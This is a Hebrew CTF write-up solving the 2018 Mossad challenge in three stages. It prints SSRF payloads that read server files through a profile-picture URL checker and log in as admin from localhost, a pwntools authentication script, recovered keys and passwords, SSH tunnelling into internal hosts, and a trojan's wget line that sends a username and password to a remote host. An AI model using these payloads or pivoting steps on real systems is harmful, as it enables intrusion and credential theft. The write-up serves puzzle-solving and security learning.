אתגר המוסד - התשע"ח

הקדמה:

כשבוע לפני יום העצמאות התשע"ח הופיעה ספירה לאחור באתר של המוסד:

ספירה לאחור

הספירה לאחור הייתה באתר ייעודי: https://www.r-u-ready.xyz

מתחת לספירה הופיעה שורת קוד +[--------->++<]>+.++[->+++<]>++.+[--->+<]>.+[->+++<]>.--[--->+<]>-.---[->++++<]>.------------.---.--[--->+<]>-.+[->+++<]>+.---.--[--->+<]>-.+++[->+++<]>.--[--->+<]>. בשפה בשם brainfuck. הרצנו את הקוד וקיבלנו:

טיזר

הספירה לאחור מסתיימת ב-20:00 18/04/2018 שיוצא בערב יום העצמאות. מצפים לאתגר החדש.

בבוקר יום הזיכרון (18/04/2018) פורסמה בעיתון ישראל היום התמונה הבאה:

תמונה מהעיתון

בתמונה נראה שיש שני קטעי קוד מובלטים:

חלק עליון חלק תחתון
>+-++<>-+--><[+-[]+-]<+--+>[+--+]<[+>+<-]><----[-->+++<]>--.---------.+++.[++>---<]>++.-[----->++<]>-.+[->+++<]>+.+++++++++++.------------.----[->+++<]>+.-[-->+++++<]>---.------.[--->+<]>++.[-]>+-++<>-+--><[+-[]+-]<+--+>[+--+]<[+>+<-]><>+-++<>-+--><[+-[]+-]<+--+>[+--+]<[] +++++++++++[>+++++++++++<-]>+[<+>-]-[>+<-------]>---[<+>-][<+>-]>++>+[>++[-<++++++>]<<]>[<+>-]>+>++[++>++[-<+++++>]<<]>[<+>-]>+>+[>++++[-<++++>]<<]>[<+>-]++++++++[>+++++++++++<-]>+[<+>-]+++>>+>+[->+++[-<+++++>]<<]>[<+>-]++++++++[>++++++++<-]>+[<+>-]+++>++++++>+>+-++<>-+--
אם נריץ את זה נקבל: xor-with-key אם נריץ את זה יישאר לנו בזיכרון: 7A 46 5C 53 55 59 03 5A 41 03 06 01

מסביב ללוגו של המוסד מופיעים שוב ושוב המילים Israel-is-70 אולי זה המפתח?

לקחנו את הבתים שנשארו בזיכרון (7A 46 5C 53 55 59 03 5A 41 03 06 01) ועשינו XOR בינהם לבין Israel-is-70. התוצאה שהתקבלה: 35.205.32.11 שזה כתובת ip שמובילה לאתר https://www.r-u-ready.xyz. נראה שנאלץ לחכות עוד קצת.

שלב 1

אז הספירה לאחורה הסתיימה, הבה נצא לדרך!

שלב אחד

קישור! קליק קליק קליק!

איזה בלוג חביב:

בלוג - ראשי

מה הלאה?

נראה שאין הרבה מה לחפש כשלא מחוברים, אז בואו ננסה להתחבר:

בלוג - התחברות

הפלא ופלא, להתחבר עם admin:admin לא עבד!

בואו ננסה להרשם:

בלוג - הרשמה

מעניין מה הכפתור TRY... עושה, בואו נבדוק... זה הקוד שלו:

function getProfilePic()
{
    var url_regex = /^(https?:\/\/(www\.)?)?[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}(:[0-9]{1,5})?(\/[^\/]+)*([^\/]+\.png)(\?((\.+)\=(.+))*)?$/gm

    url = $("#profile_url")[0].value;
    if (url != "")
    {
        if (!url_regex.test (url))
        {
            alert ("Not a valid PNG url! " + url);
            return;
            
        }
        
        $.getJSON ('testProfilePng', { u: btoa(url) }, showProfilePng)        
    }
}

function showProfilePng (json)
{
    if (json && 'png' in json)
    {
        $("#usr_img")[0].src = '/profilePics/' + json.png;
    }
    
    if (json && 'err' in json && json.err != "" && json.err != "200" && json.err != "OK")
    {
        alert (json.err);
    }
}

נראה שהוא מבצע אימות על הקישור, ואם הכל בסדר אז הוא מציג את התמונה שהוזנה ב '/profilePics/' + json.png.

אבל אם הבדיקה מתבצעת רק בצד לקוח? בואו ננסה לרמות ולהכניס קישור לקובץ שעל השרת

במקרה שלנו ננסה לגשת לקובץ login.php.

$.getJSON ('testProfilePng', { u: btoa("file:///var/WWW/login.php#.png") }, showProfilePng)

אחרי קרב ארוך ומייגע מצאנו איפה הקובץ הזה ממוקם בשרת. גילינו גם שהשרת מוודא שקיים הסיומת .png ����‍♂️.

אז עכשיו יש לנו את הקוד של מערכת ההתחברות, הנה החלקים החשובים לאתגר:

define("ADMIN_USER_NAME", "admin");
    
    ...

function do_login(){
    $remote_ip = $_SERVER['REMOTE_ADDR'];
    $user = $_REQUEST['user_name'];
   
    if ($remote_ip == "127.0.0.1" && $user == ADMIN_USER_NAME)
    {
        ...

נראה שאם מישהו שיושב על השרת טוען שהוא אדמין אז הוא מתחבר ישר ללא צורך בסיסמה. מודל אבטחתי גאוני!

אנחנו כבר יודעים שאנחנו יכולים לגלוש בשרת בעזרת פונקציית בדיקת פרופיל, אז ננסה להתחבר בעזרת זה למשתמש אדמין.

$.getJSON ('testProfilePng', { u: btoa("http://35.205.32.11/login.php?user_name=admin#.png") }, showProfilePng)

אוקיי, קיבלנו תשובה שהעוגיה מעולה.

$.getJSON ('testProfilePng', { u: btoa("http://35.205.32.11/administration#.png") }, showProfilePng)

ועכשיו קיבלנו את כל תוכן הקובץ administration. מצאנו בקובץ הזה את הקישור שההאקר הקודם שפרץ לדף השאיר /ch1_success, מה הסיכוי שזה יהיה שימושי?

טוקן ראשון

הידד!

שלב 2

הלאה!

שלב שני

הפעם הקישור הוריד לנו קובץ pcap. בעזרת wireshark מצאנו חמש שיחות. השתיים הראשונות והשתיים האחרונות היו מעין אימות. השרת שולח md5 של מספר, והלקוח מחזיר sha512 של המספר הבא. השיחה האמצעית הכילה התחברות לשרת ftp עם הפרטים user:12345

אני מניח שאנחנו אמורים לעשות את אותו הדבר...

חבר כתב סקריפט נחמד שמבצע עבורינו את האימות:

from pwn import *
import hashlib

def md5rev(expected):
    for i in range(10000,100000):
        if hashlib.md5(str(i)).hexdigest() == expected:
            return i

def sha512num(number):
    return hashlib.sha512(str(number)).hexdigest()

conn = remote('35.204.90.89',5555)
md5  = conn.recvline().replace('\r','').replace('\n','')
num  = md5rev(md5)
sha  = sha512num(num+1)
print("md5: %s" % md5)
print("num: %s" % num)
print("sha: %s" % sha)
conn.sendline(sha)
print(conn.recvall())

Sample run:

$ python solve.py
[+] Opening connection to 35.204.90.89 on port 5555: Done
md5: ce5f87af88939d59cf73ca61cba8c260
num: 62578
sha: 7bdfd3a07b8c8f02df1dc97e8647f04af257a0db76e9f7825668e31b3f8d0f8dd571d5ef1f33d007ab25dde4d362eccfbbeddeb0eeedd672b53a850d666002f2
[+] Receiving all data: Done (35B)
[*] Closed connection to 35.204.90.89 port 5555
MY_IP Temporarily Authorized.

עכשיו שיש לנו אישור זמני אנחנו יכולים להתחבר לשרת ftp: ftp 35.204.90.89 2121 ולהוריד את כל הקבצים.

בין ערימות של גיבויים התיקייה הכי מעניית שמצאנו היא \users\backup מצאנו בתוכה מפתח פרטי שאיפשר לנו להתחבר לחשבון הזה sftp -i id_rsa [email protected] אבל אבוי! זה דורש סיסמא למפתח פרטי! אך למזלנו תוכן הקובץ hint היה הסיסמה הנכונה: s3cr3t.

$ sftp -i id_rsa backup@35.204.90.89
 Welcome to Backup Server!
   All your actions are
      being recorded!
        Hahahah!!

                 ,-.
               ,'  |
              /.__,|
             /((_)):
            /  `-'  \
          ,'  ,--.   \
        .' , ((__))   `.
        '.':  `--'   \._)
           |  ,--.   :
           | ((__))  |
           |  `--'   |
          ,'..____..-`.
         `--..____...--' SSt

Enter passphrase for key 'id_rsa':
Connected to 35.204.90.89.
sftp> ls
conf_enc.pyc
sftp>

אולי הקובץ הזה קשור לגיבויים המוצפנים שמצאנו קודם. בעזרת uncompyle2 קיבלנו קוד מקור:

import base64
from Crypto.Cipher import AES
from Crypto import Random
import sys, os
key = 'd3adb33f13371337'
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

class AESCipher:

    def __init__(self, key):
        self.key = key

    def encrypt(self, raw):
        raw = pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw))


def main():
    if len(sys.argv) != 2:
        exit(1)
    in_file = sys.argv[1]
    if os.path.isfile(in_file):
        out_file = in_file + '.enc'
        fin = file(in_file, 'rb').read()
        fout = file(out_file, 'wb')
        cypher = AESCipher(key)
        enc_data = cypher.encrypt(fin)
        fout.write(enc_data)
        fout.close()


if __name__ == '__main__':
    main()

זה אכן הקוד שבעזרתו הצפינו את הגיבויים. נכתוב פונקציית פיענוח...

def decrypt(self, raw):
    raw = base64.b64decode(raw)
    iv = raw[:AES.block_size]
    cipher = AES.new(self.key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(raw[AES.block_size:]))

זהב.

מבין כל קבצי הגיבויים היו רק שניים שונים, אחד עבור floppyfw והשני עבור cisco. בקובץ של סיסקו מצאנו שם משתמש fwadmin וסיסמה 107D1C09560521580F16693F14082026351C1512, פיענוח של הסיסמא בעזרת האתר הזה הינו Sup3rS3cr#tP@ssword גילינו גם שכדי להתחבר לשרת אנחנו צריכים לעבור דרך השרת ftp לאיפיי חיצוני ומשם לאיפי פננימי. בעזרת פרטי ההתחברות שאספנו עיצבנו דרך התחברות:

השלב הראשון היה להתחבר לאייפי החיצוני בעזרת השרת ftp: ssh -N -L 9999:10.164.0.3:22 [email protected] -i id_rsa_decrypted

ומשם להתחבר לאייפי הפנימי: ssh -N -L 9000:10.128.0.3:8080 [email protected] -p 9999

עכשיו שכל החיבור המסורבל הזה היה מוכן יכלנו לגשת ל-127.0.0.1:9000 ולקבל קובץ שהפנה אותנו לעמוד חדש:

טוקן שני

שלמות!

שלב 3

אתגר אחרון! (כנראה)

שלב אחרון

הפעם קיבלנו קובץ בשם busybox, הרצנו אותו וקיבלנו את הפלט הבא:

$ ./busybox
BusyBox v1.29.0.git (2018-02-18 06:33:22 UTC) multi-call binary.
BusyBox is copyrighted by many authors between 1998-2015.
Licensed under GPLv2. See source distribution for detailed
copyright notices.

Usage: busybox [function [arguments]...]
   or: busybox --list[-full]
   or: busybox --install [-s] [DIR]
   or: function [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable.  Most people will create a
        link to busybox for each function they wish to use and BusyBox
        will act like whatever it was invoked as.

        **** This version of BusyBox is an 'augmented-reality' version ;).. left you a hint at /tmp ... ****

Currently defined functions:
        adjtimex, base64, beep, cat, chmod, clear, dnsdomainname, echo, false,
        hostname, ifconfig, ifdown, ifup, kill, killall, ls, lsof, md5sum, nc,
        netcat, netstat, nslookup, ping, ps, reset, resize, top, true, tty,
        uname, wget, whoami

שורה מעניינת במיוחד: **** This version of BusyBox is an 'augmented-reality' version ;).. left you a hint at /tmp ... ****. בואו נעיף מבט:

$ ./busybox ls /tmp -la
ls: /uos: No such file or directory

רגע, אבל הקלדתי משהו אחר! נראה שכל אות עולה לפי האינדקס שלה במילה, צריך לטפל בזה:

from string import ascii_lowercase as lower_letters

def fixlower(words):
    res = ''
    for i, char in enumerate(words):
        if char in lower_letters:
            res = res + lower_letters[(lower_letters.index(char) - i)%len(lower_letters)]
        else:
            res += char
    return res

זה אמור לעבוד:

$ ./busybox ls /skm -la
total 0
drwxrwxrwt    0 root     root          4096 Apr 22 03:50 .
drwxr-xr-x    0 root     root          4096 Jan  1  1970 ..
-r--r--r--    0 root     root          1337 Jan  1  1970 .readme

אז הנה לנו קובץ מוסתר:

$ ./busybox cat /skm/.lxsuct

Suspicious network activity detected...

אממ, טוב...

$ ./busybox netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0     64 0.0.0.0:31337           11.32.205.35.bc.googleusercontent.com:http ESTABLISHED
netstat: /proc/net/raw: No such file or directory
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags       Type       State         I-Node Path
netstat: /proc/net/unix: No such file or directory

אכן יש פעילות מוזרה ברשת, בואו נראה אילו תוכנות פועלות ברקע:

$ ./busybox ps
PID   USER     TIME  COMMAND
 1337 root     13:37 /tmp/Tr0j (deleted) -u admin --default-pass
    1 root      0:00 /init
  271 me        0:00 -bash
  297 me        0:00 python
  314 me        0:00 -bash
  328 me        0:00 ./busybox ps

הראשון נראה ממש מוזר, בואו נסתכל יותר לעומק:

$ ./busybox ls /oply/1337 -la
dr--r--r--    0 root     root             0 Jan  1  1970 .
dr--r--r--    0 root     root             0 Jan  1  1970 ..
-r--r--r--    0 root     root          1337 Jan  1  1970 cmdline
-r--r--r--    0 root     root          1337 Jan  1  1970 environ
-r--r--r--    0 root     root          1337 Jan  1  1970 exe

אנחנו כבר יודעים מה cmdline מכיל, אז בואו נוריד את התוכנית עצמה: ./busybox cat /oply/1337/tlr > exe. עליה הרצנו את strings שנתנה לנו די הרבה מידע שעלול להיות שימושי:

Uw1lLN3v3rG3tM3
35.205.32.11
wget -O /tmp/.store 'http://%s/iso?user=%s&pass=%s'
user
pass
default-pass

נראה שצריך לבנות קישור, רובו די ברור: http://35.205.32.11/iso?user=admin&pass=. אבל מה הסיסמה? ידוע לנו שהתוכנית הופעלה עם הדגל --default-pass, אבל מה היא הסיסמה הזאת? אולי זה הטקסט המוזר שמעל האייפי?Uw1lLN3v3rG3tM3 ("u will never get me, in 1337)? אכן. כעת קיבלנו הורדה לקובץ iso. חילצנו אותה וקיבלנו 6 תמונות (1.JPG, 2.JPG, 4.PNG, 5.JPG, 6.JPG, 7.JPG) קובץ בשם VAULT וקובץ בשם THUMBS.DB. מעניין למה אין קובץ מספר 3.

התמונות:

1.JPG 2.JPG 4.PNG 5.JPG 6.JPG 7.JPG

הרצנו binwalk על THUMBS.DB וגילינו שהוא מכיל 7 קבצי JPEG. נחלץ אותם: binwalk —dd='.*' THUMBS.DB. חמש מהתמונות היו לנו כבר וקיבלנו שתיים חדשות. על אחת התמונות כתוב *israel70* מעניין אם זה חשוב...

התמונות החדשות:

9418.jpeg C818.jpeg

הלאה לקובץ VAULT. בעזרת האתר הנפלא הזה חילצנו ארבעה קבצים (index.html, key.js, script.js, aes.js) כל קבצי הג'אווהסריפט היו מוצפנים בעזרת משהו שנקרא blow fish. בעזרת האתר הזה ניסינו לפענח את הקבצים, וגילינו שהמפתח היה *israel70* אכן שימושי. עכשיו יש לנו ביד 4 קבצים שבונים אתר, בואו ננסה לגלוש אליו.

Running the site

הממ, זה מנסה לטעון את key.js מ-127.0.0.1:1337/key.js במקום פשוט ישירות מהקובץ. יש לנו אבל בעיה שהקוד שיש לנו כתוב בצורה לא קריאה בכלל. בעזרת אתר בסגנון הזה קיבלנו קוד קריא ושינינו אותו שישתמש במפתח שלנו:

function loadScript(src, callback) {
 var xhttp = new XMLHttpRequest();
 xhttp.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
   eval(this.responseText);
   if (typeof(callback) != 'undefined') {
    callback()
   }
  }
 };
 xhttp.open("GET", src, true);
 xhttp.send()
}
key = "sg342C_fqg3453gqh"
loadScript("http://35.205.32.11/ch3/sid");
loadScript("http://35.205.32.11/ch3/payload", run);

function run() {
 if (typeof(key) != 'undefined') {
  if (typeof(payload) != 'undefined') {
   var decrypted = CryptoJS.AES.decrypt(payload, key);
   console.log((decrypted.toString(CryptoJS.enc.Utf8)))
  }
 }
}

בואו ננסה את האתר שוב. הפעם קיבלנו קוד נורא ארוך בשפה jsfuck. בעזרת המדריך הזה הצלחנו לדבג את הקוד, להשיג את הסיסמה H4pPyB1r7hd4y70I5ra3l! ולקבל הפניה לאתר אחר:

טוקן אחרון

תם ונשלם!

עדכון [29.04.2018]

האתגר נסגר רשמית

סוף האתגר

תודות

תודה ל-MeitarR, naweiss, ו-yoavst שבלעדיהם כנראה הייתי פורש מהאתגר.

פתרונות אחרים

MeitarR ו-yoavst כתבו פתרונות לאתגרים שניתן למצוא כאן: